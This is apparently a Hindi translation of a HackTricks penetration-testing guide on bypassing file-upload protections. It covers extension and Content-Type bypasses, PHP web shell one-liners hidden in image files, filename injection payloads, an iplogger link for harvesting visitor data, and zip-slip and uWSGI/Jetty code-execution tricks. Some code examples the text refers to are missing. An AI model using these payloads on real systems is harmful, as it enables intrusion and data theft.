File Upload
Last updated
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
यदि आप हैकिंग करियर में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है)।
अन्य उपयोगी एक्सटेंशन:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8 में कार्यरत: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws वेब सर्वर: .yaws
यदि लागू हो, तो पिछले एक्सटेंशन की जांच करें। कुछ बड़े अक्षरों का उपयोग करके भी परीक्षण करें: pHp, .pHP5, .PhAr ...
कार्यकारी एक्सटेंशन से पहले एक मान्य एक्सटेंशन जोड़ने की जांच करें (पिछले एक्सटेंशन का भी उपयोग करें):
file.png.php
file.png.Php5
अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप सभी ascii और Unicode वर्णों को bruteforce करने के लिए Burp का उपयोग कर सकते हैं। (ध्यान दें कि आप पिछले उल्लेखित एक्सटेंशन का उपयोग करने का प्रयास भी कर सकते हैं)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देकर सुरक्षा को बायपास करने का प्रयास करें जैसे कि एक्सटेंशन को डबल करना या जंक डेटा (null बाइट्स) को एक्सटेंशन के बीच जोड़ना। आप बेहतर पेलोड तैयार करने के लिए पिछले एक्सटेंशन का भी उपयोग कर सकते हैं।
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
पिछले चेक में एक और परत के एक्सटेंशन जोड़ें:
file.png.jpg.php
file.php%00.png%00.jpg
मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (यह उन Apache गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी है जहां कोई भी एक्सटेंशन .php के साथ समाप्त नहीं होता है, लेकिन कोड निष्पादित करेगा):
उदाहरण: file.php.png
Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करें। इस मामले में, एक कोलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना भी आगे की प्रतिबंधों को बायपास करने के लिए उपयोगी हो सकता है (जैसे “file.asp::$data.”)
फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP बच जाता है। AAA<--SNIP-->AAA.php
Content-Type जांच को बायपास करें Content-Type header के मान को सेट करके: image/png , text/plain , application/octet-stream
फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स जोड़कर जादुई संख्या जांच को बायपास करें ( file कमांड को भ्रमित करें)। या metadata के अंदर शेल पेश करें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
\
या आप पेलोड को सीधे एक छवि में भी पेश कर सकते हैं:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
यदि आपकी छवि में संकुचन जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे PHP-GD, तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप PLTE chunk यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
वेब पृष्ठ छवि का आकार बदलने के लिए भी उपयोग कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस imagecopyresized
या imagecopyresampled
का उपयोग करके। हालाँकि, आप IDAT chunk यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
एक और तकनीक जो एक पेलोड बनाने के लिए है जो छवि के आकार बदलने को सहन करता है, PHP-GD फ़ंक्शन thumbnailImage
का उपयोग करके। हालाँकि, आप tEXt chunk यहाँ परिभाषित तकनीक का उपयोग कर सकते हैं ताकि कुछ पाठ जो संकुचन को सहन करेगा।
पहले से अपलोड की गई फ़ाइल को नाम बदलने के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
बैकडोर निष्पादित करने के लिए स्थानीय फ़ाइल समावेशन भेद्यता खोजें।
संभावित जानकारी का खुलासा:
एक ही फ़ाइल को कई बार (और एक ही समय में) एक ही नाम के साथ अपलोड करें।
एक फ़ाइल के नाम के साथ फ़ाइल अपलोड करें या फोल्डर जो पहले से मौजूद है।
“.”, “..”, या “…” के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” NTFS में। (Windows)
Windows में अमान्य वर्ण जैसे |<>*?”
के साथ फ़ाइल अपलोड करें। (Windows)
Windows में आरक्षित (निषिद्ध) नामों जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
एक निष्पादन योग्य (.exe) या .html (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो कोड निष्पादित करेगा जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
यदि आप PHP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .htaccess ट्रिक पर एक नज़र डालें. यदि आप ASP सर्वर पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो कोड निष्पादित करने के लिए .config ट्रिक पर एक नज़र डालें.
.phar
फ़ाइलें जावा के लिए .jar
की तरह होती हैं, लेकिन PHP के लिए, और इन्हें PHP फ़ाइल की तरह उपयोग किया जा सकता है (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
.inc
एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को आयात करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है।
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से संसाधित होती हैं. इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को $JETTY_BASE/webapps/
में अपलोड करें और शेल की उम्मीद करें!
इस भेद्यता की विस्तृत खोज के लिए मूल शोध की जांच करें: uWSGI RCE शोषण.
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास .ini
कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता है। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग @(filename)
के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लिखने/पढ़ने के लिए किया जा सकता है जब एक .ini
कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
हानिकारक uwsgi.ini
फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से एक क्रैश के बाद या सेवा से इनकार के हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर wget
का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को संकेत कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जाएंगी। हालाँकि, यह जांच बायपास की जा सकती है।
linux में फ़ाइल नाम की अधिकतम लंबाई 255 है, हालाँकि, wget फ़ाइल नामों को 236 वर्णों तक संक्षिप्त करता है। आप "A"*232+".php"+".gif" नामक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम जांच को बायपास करेगा (जैसे कि इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम "A"*232+".php" में नामित करेगा।
नोट करें कि एक और विकल्प जिसे आप इस जांच को बायपास करने के लिए सोच रहे होंगे, वह है HTTP सर्वर को एक अलग फ़ाइल पर रीडायरेक्ट करना, ताकि प्रारंभिक URL जांच को बायपास कर दे और फिर wget रीडायरेक्ट की गई फ़ाइल को नए नाम के साथ डाउनलोड कर ले। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names
के साथ उपयोग नहीं किया जा रहा है क्योंकि wget रीडायरेक्ट की गई पृष्ठ को मूल URL में निर्दिष्ट फ़ाइल के नाम के साथ डाउनलोड करेगा।
Upload Bypass एक शक्तिशाली उपकरण है जिसे Pentesters और Bug Hunters को फ़ाइल अपलोड तंत्रों का परीक्षण करने में सहायता करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग बाउंटी तकनीकों का उपयोग करता है ताकि कमजोरियों की पहचान और शोषण की प्रक्रिया को सरल बनाया जा सके, जिससे वेब अनुप्रयोगों का गहन मूल्यांकन सुनिश्चित हो सके।
filename को ../../../tmp/lol.png
पर सेट करें और पथ यात्रा प्राप्त करने का प्रयास करें
filename को sleep(10)-- -.jpg
पर सेट करें और आप SQL इंजेक्शन प्राप्त करने में सक्षम हो सकते हैं
filename को <svg onload=alert(document.domain)>
पर सेट करें ताकि XSS प्राप्त किया जा सके
filename को ; sleep 10;
पर सेट करें ताकि कुछ कमांड इंजेक्शन का परीक्षण किया जा सके (अधिक कमांड इंजेक्शन ट्रिक्स यहाँ)
JS फ़ाइल अपलोड + XSS = सेवा कार्यकर्ता शोषण
https://github.com/allanlw/svg-cheatsheet से विभिन्न svg पेलोड का प्रयास करें****
यदि आप वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं तो आप SSRF का शोषण करने का प्रयास कर सकते हैं। यदि यह इमेज किसी सार्वजनिक साइट पर सहेजी जा रही है, तो आप https://iplogger.org/invisible/ से एक URL भी इंगित कर सकते हैं और हर आगंतुक की जानकारी चुरा सकते हैं।
विशेष रूप से तैयार किए गए PDFs से XSS: निम्नलिखित पृष्ठ प्रस्तुत करता है कि JS निष्पादन प्राप्त करने के लिए PDF डेटा को कैसे इंजेक्ट करें। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
[eicar](https://secure.eicar.org/eicar.com.txt) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई एंटीवायरस है या नहीं
फ़ाइलें अपलोड करते समय यदि कोई आकार सीमा है तो जांचें
यहाँ शीर्ष 10 चीजों की सूची है जो आप अपलोड करके प्राप्त कर सकते हैं (से यहाँ):
ASP / ASPX / PHP5 / PHP / PHP3: वेबशेल / RCE
SVG: स्टोर किया गया XSS / SSRF / XXE
GIF: स्टोर किया गया XSS / SSRF
CSV: CSV इंजेक्शन
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
ZIP: LFI / DoS के माध्यम से RCE
PDF / PPTX: SSRF / BLIND XXE
PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG: "\xff\xd8\xff"
अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures देखें।
यदि आप एक ZIP अपलोड कर सकते हैं जो सर्वर के अंदर डिकंप्रेस्ड होने जा रहा है, तो आप 2 चीजें कर सकते हैं:
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस्ड फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
डिकंप्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संकुचन समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकंप्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण evilarc on GitHub पर उपलब्ध है। इस उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
इसके अतिरिक्त, evilarc के साथ symlink ट्रिक एक विकल्प है। यदि उद्देश्य /flag.txt
जैसी फ़ाइल को लक्षित करना है, तो आपकी प्रणाली में उस फ़ाइल के लिए एक symlink बनाया जाना चाहिए। यह सुनिश्चित करता है कि evilarc अपने संचालन के दौरान त्रुटियों का सामना नहीं करता है।
नीचे एक उदाहरण है Python कोड का जिसका उपयोग एक दुर्भावनापूर्ण zip फ़ाइल बनाने के लिए किया जाता है:
फाइल स्प्रेइंग के लिए संकुचन का दुरुपयोग
अधिक विवरण के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
PHP शेल बनाना: PHP कोड लिखा गया है जो $_REQUEST
वेरिएबल के माध्यम से पास किए गए कमांड को निष्पादित करता है।
फाइल स्प्रेइंग और संकुचित फाइल निर्माण: कई फाइलें बनाई जाती हैं और इन फाइलों को शामिल करते हुए एक ज़िप आर्काइव तैयार किया जाता है।
हेक्स संपादक या vi के साथ संशोधन: ज़िप के अंदर फाइलों के नामों को vi या हेक्स संपादक का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है।
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके (ImageMagick , 7.0.1-1) (फॉर्म एक्सप्लॉइट)
PNG फ़ाइल के IDAT भाग में PHP शेल एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशनों को प्रभावी ढंग से बायपास कर सकता है। PHP-GD से imagecopyresized
और imagecopyresampled
फ़ंक्शन इस संदर्भ में विशेष रूप से प्रासंगिक हैं, क्योंकि इन्हें क्रमशः इमेज को रिसाइज और रिसैंपल करने के लिए सामान्यतः उपयोग किया जाता है। एम्बेडेड PHP शेल की इन ऑपरेशनों से अप्रभावित रहने की क्षमता कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक की विस्तृत खोज, जिसमें इसकी कार्यप्रणाली और संभावित अनुप्रयोग शामिल हैं, निम्नलिखित लेख में प्रदान की गई है: "Encoding Web Shells in PNG IDAT chunks"। यह संसाधन प्रक्रिया और इसके निहितार्थों की व्यापक समझ प्रदान करता है।
अधिक जानकारी के लिए: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अनूठा उपकरण के रूप में कार्य करती हैं, जो चामेलियन्स की तरह होती हैं जो एक साथ कई फ़ाइल प्रारूपों में वैध रूप से मौजूद रह सकती हैं। एक दिलचस्प उदाहरण GIFAR है, जो एक हाइब्रिड है जो GIF और RAR आर्काइव दोनों के रूप में कार्य करता है। ऐसी फ़ाइलें इस जोड़ी तक सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभव हैं।
पॉलीग्लॉट फ़ाइलों की मुख्य उपयोगिता उनकी क्षमता में निहित है जो फ़ाइलों को प्रकार के आधार पर स्क्रीन करने वाले सुरक्षा उपायों को बायपास कर सकती हैं। विभिन्न अनुप्रयोगों में सामान्य प्रथा केवल कुछ फ़ाइल प्रकारों को अपलोड करने की अनुमति देना है—जैसे JPEG, GIF, या DOC—संभावित हानिकारक प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए। हालाँकि, एक पॉलीग्लॉट, जो कई फ़ाइल प्रकारों के संरचनात्मक मानदंडों के अनुरूप है, चुपचाप इन प्रतिबंधों को बायपास कर सकता है।
अपनी अनुकूलता के बावजूद, पॉलीग्लॉट्स सीमाओं का सामना करते हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट एक साथ एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को समाहित कर सकता है, इसके अपलोड की सफलता प्लेटफ़ॉर्म की फ़ाइल एक्सटेंशन नीतियों पर निर्भर कर सकती है। यदि सिस्टम अनुमत एक्सटेंशन के बारे में सख्त है, तो पॉलीग्लॉट की केवल संरचनात्मक द्वैतता इसके अपलोड की गारंटी देने के लिए पर्याप्त नहीं हो सकती है।
अधिक जानकारी के लिए: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
यदि आप हैकिंग करियर में रुचि रखते हैं और अन्हैक करने योग्य को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है)।
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE) GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)